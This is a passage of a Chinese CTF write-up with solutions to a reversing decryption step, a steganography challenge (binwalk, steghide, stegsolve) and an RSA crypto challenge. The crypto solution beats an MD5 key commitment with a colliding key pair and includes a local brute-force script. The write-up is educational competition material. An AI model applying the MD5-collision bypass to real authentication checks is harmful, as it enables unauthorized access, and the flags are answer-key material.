    tmp=s[x]
    s[x]=s[y]
    s[y]=tmp
    res=(s[(s[x] + s[y])%256])^target[i]
    print(hex(res))
    res2+=chr(res)
print(res2)
#flag{H@ckRr5_n3\/eR_c@RE_@60u+_9eN+13m3N'5_@9r33MEn+5}

misc_see_it

binwalk一把梭,提取出一个密码文件

用steghide可以分离一张图片:

steghide extract -sf /mnt/c/2024ISG/seeit/challenge.wav

最后用stegsolve提取lsb即可:

flag{m4k3_u53_0f_0p3n _50urc3_t00l5}

Crypto

tourist

程序的功能是,用户输入多组username和key,username必须是一个字符+tourlist,用key对username做RSA加密,并保存key的md5。

程序还提供了一个解密功能,用户提供解密key,需要解密key的md5与原来的一样,然后用key解密username,然后对解密内容做base64加密,结果包含"FLAG"就会打印flag。

思路是:

1.寻找两个不同的字符串,当作KeyA、KeyB,并保证md5(A)==md5(B)。例如:

KeyA=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

KeyB=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

2.输入符合要求的username和key:

username=tourist1,key=KeyA

3.用keyB进行解密,此时能通过md5校验,由于解密的key不是KeyA,所以解密出来的是一个新的无意义字节串。只要新的字节串的base64编码包含"FLAG",就可以拿到flag。所以多次生成n进行爆破即可。

注意:输入key时需要输入hex形式,转换成hex即可

KeyA=0x54455854434f4c4c42596647694a5545544851346841634b534d64357a597067716631595244686b6d78486b6850577074726b6f797a3238776e493956306148654175614b6e616b

KeyB=0x54455854434f4c4c42596647694a5545544851346845634b534d64357a597067716631595244686b6d78486b6850577074726b6f797a3238776e493956306148654175614b6e616b

密文解密后字符串长度与n同数量级,大约为256字符,base64后约344个字符,其中需要有“FLAG”4个字符,粗略计算密文符合要求的概率:

所以写脚本爆破,平均爆破时间在0.5h-1h:

import multiprocessing
import time
import random
import threading
import signal
import socketserver
from Crypto.Util.number import *
from hashlib import md5
from os import urandom
import base64
import string


# 全局变量,记录函数A的调用次数
call_count = multiprocessing.Value('i', 0)  # 共享变量,记录调用次数
stop_flag = multiprocessing.Value('b', False)  # 共享标志,用于停止其他进程

class Challenge:
    def __init__(self):
        self.p = getPrime(1024)
        self.q = getPrime(1024)
        self.n = self.p * self.q
        self.phi = (self.p - 1) * (self.q - 1)
        self.user_db = []
    def save(self, username, keyint):
        key = long_to_bytes(keyint)
        key_commit = md5(key).digest()
        # print("save_func_keymd5:",key_commit)
        username_int = bytes_to_long(username)
        username_enc = pow(username_int, keyint, self.n) 
        self.user_db.append((username_enc, key_commit))
    def check(self, index, keyint):
        key = long_to_bytes(keyint)
        assert md5(key).digest() == self.user_db[index][1], "Invalid key"
        username_enc = self.user_db[index][0]
        d = inverse(keyint, self.phi)
        username_dec = pow(username_enc, d, self.n)
        username = base64.b64encode(long_to_bytes(username_dec)).decode()
        # print("decodebase64:",username)
        #assert "FLAG" in username, "Not Admin"
        if "FLAG" in username:
            print("OKK,flag{{123}},",username,call_count.value)
            return True
        else:
            return False


# 函数A
def function_A():
    with call_count.get_lock():  # 确保进程安全地修改共享变量
        call_count.value += 1
    chall=Challenge()
    name1=b"tourist"#tmp.encode()[-1:]+b"tourist"
    # print(name1)
    key1="0x54455854434f4c4c42596647694a5545544851346841634b534d64357a597067716631595244686b6d78486b6850577074726b6f797a3238776e493956306148654175614b6e616b"
    chall.save(name1, int(key1, 16))
    name2=b"Btourist"
    key2="0x54455854434f4c4c42596647694a5545544851346845634b534d64357a597067716631595244686b6d78486b6850577074726b6f797a3238776e493956306148654175614b6e616b"
    chall.save(name2, int(key2, 16))
    res=chall.check(0,int(key2, 16))
    return res


# 进程任务,循环调用函数A,直到函数A返回True或stop_flag为True
def process_task():
    while True:
        with stop_flag.get_lock():  # 确保进程安全地读取标志
            if stop_flag.value:
                break
        if function_A():
            with stop_flag.get_lock():
                stop_flag.value = True
            break


# 启动多进程任务
def start_processes(process_count):
    processes = []
    for _ in range(process_count):
        p = multiprocessing.Process(target=process_task)
        processes.append(p)
        p.start()


    # 等待所有进程结束
    for p in processes:
        p.join()


if __name__ == "__main__":
    start_time = time.time()
    process_count = 20  # 启动20个进程
    start_processes(process_count)
    print(f"函数A总共被调用了 {call_count.value} 次")
    end_time = time.time()
    execution_time = end_time - start_time
    print("Use time:", execution_time, "秒,",execution_time//60, "分")


# CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录